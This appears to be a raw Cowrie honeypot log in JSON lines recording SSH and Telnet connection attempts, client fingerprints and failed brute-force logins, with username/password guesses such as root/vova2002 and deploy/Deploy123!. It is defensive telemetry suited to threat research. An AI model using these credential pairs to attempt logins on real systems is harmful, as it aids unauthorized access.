{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:49.022465Z","src_ip":"103.77.242.62","session":"4e748e42bbc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":38958,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d511cb9a071","protocol":"ssh","message":"New connection: 45.233.218.160:38958 (10.17.0.5:22) [session: 9d511cb9a071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:14.047611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:14.054211Z","src_ip":"45.233.218.160","session":"9d511cb9a071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:14.189340Z","src_ip":"45.233.218.160","session":"9d511cb9a071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123!@#","message":"login attempt [ubuntu/123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:14.759741Z","src_ip":"45.233.218.160","session":"9d511cb9a071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:15.900712Z","src_ip":"45.233.218.160","session":"9d511cb9a071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":58014,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3137e72d25b","protocol":"ssh","message":"New connection: 121.168.139.251:58014 (10.17.0.5:22) [session: e3137e72d25b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:20.363414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:20.369952Z","src_ip":"121.168.139.251","session":"e3137e72d25b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:20.568077Z","src_ip":"121.168.139.251","session":"e3137e72d25b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Deploy123!","message":"login attempt [deploy/Deploy123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:21.387610Z","src_ip":"121.168.139.251","session":"e3137e72d25b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:22.588753Z","src_ip":"121.168.139.251","session":"e3137e72d25b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":36932,"dst_ip":"159.203.135.109","dst_port":22,"session":"48b414923770","protocol":"ssh","message":"New connection: 103.122.221.179:36932 (159.203.135.109:22) [session: 48b414923770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:30.460660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:30.467072Z","src_ip":"103.122.221.179","session":"48b414923770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:30.724649Z","src_ip":"103.122.221.179","session":"48b414923770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vova2002","message":"login attempt [root/vova2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:31.493437Z","src_ip":"103.122.221.179","session":"48b414923770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:32.753110Z","src_ip":"103.122.221.179","session":"48b414923770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.212","src_port":41756,"dst_ip":"10.17.0.5","dst_port":23,"session":"60e818645145","protocol":"telnet","message":"New connection: 64.62.197.212:41756 (10.17.0.5:23) [session: 60e818645145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:33.408469Z"}
{"eventid":"cowrie.session.closed","duration":2.0732312202453613,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:35.481594Z","src_ip":"64.62.197.212","session":"60e818645145","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":43658,"dst_ip":"10.17.0.5","dst_port":22,"session":"95cd88d0db05","protocol":"ssh","message":"New connection: 103.149.28.157:43658 (10.17.0.5:22) [session: 95cd88d0db05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:53.483950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:53.489378Z","src_ip":"103.149.28.157","session":"95cd88d0db05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":35280,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dbb900cde46","protocol":"ssh","message":"New connection: 79.143.189.125:35280 (10.17.0.5:22) [session: 5dbb900cde46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:53.648370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:53.653531Z","src_ip":"79.143.189.125","session":"5dbb900cde46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:53.744318Z","src_ip":"103.149.28.157","session":"95cd88d0db05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:53.753132Z","src_ip":"79.143.189.125","session":"5dbb900cde46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABcd123456","message":"login attempt [root/ABcd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:54.157201Z","src_ip":"79.143.189.125","session":"5dbb900cde46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fktrcttd","message":"login attempt [root/fktrcttd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:54.516292Z","src_ip":"103.149.28.157","session":"95cd88d0db05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:55.264809Z","src_ip":"79.143.189.125","session":"5dbb900cde46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:50:55.772848Z","src_ip":"103.149.28.157","session":"95cd88d0db05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":53836,"dst_ip":"10.17.0.5","dst_port":22,"session":"10e6c03ccc46","protocol":"ssh","message":"New connection: 78.44.192.210:53836 (10.17.0.5:22) [session: 10e6c03ccc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:51:37.386101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:51:37.393279Z","src_ip":"78.44.192.210","session":"10e6c03ccc46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:51:37.501363Z","src_ip":"78.44.192.210","session":"10e6c03ccc46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCD@1234","message":"login attempt [root/ABCD@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:51:37.963318Z","src_ip":"78.44.192.210","session":"10e6c03ccc46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:51:39.075153Z","src_ip":"78.44.192.210","session":"10e6c03ccc46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":33636,"dst_ip":"10.17.0.5","dst_port":22,"session":"3042b5639c36","protocol":"ssh","message":"New connection: 121.168.139.251:33636 (10.17.0.5:22) [session: 3042b5639c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:03.285599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:03.299850Z","src_ip":"121.168.139.251","session":"3042b5639c36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:03.505151Z","src_ip":"121.168.139.251","session":"3042b5639c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"111111","message":"login attempt [user4/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:04.357145Z","src_ip":"121.168.139.251","session":"3042b5639c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":48982,"dst_ip":"10.17.0.5","dst_port":22,"session":"00fbcec34220","protocol":"ssh","message":"New connection: 45.233.218.160:48982 (10.17.0.5:22) [session: 00fbcec34220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:04.714916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:04.721441Z","src_ip":"45.233.218.160","session":"00fbcec34220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:04.863115Z","src_ip":"45.233.218.160","session":"00fbcec34220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:05.455714Z","src_ip":"45.233.218.160","session":"00fbcec34220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:05.565376Z","src_ip":"121.168.139.251","session":"3042b5639c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":42042,"dst_ip":"159.203.135.109","dst_port":22,"session":"f81ec9a55b13","protocol":"ssh","message":"New connection: 51.250.105.222:42042 (159.203.135.109:22) [session: f81ec9a55b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:05.808859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:05.814383Z","src_ip":"51.250.105.222","session":"f81ec9a55b13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh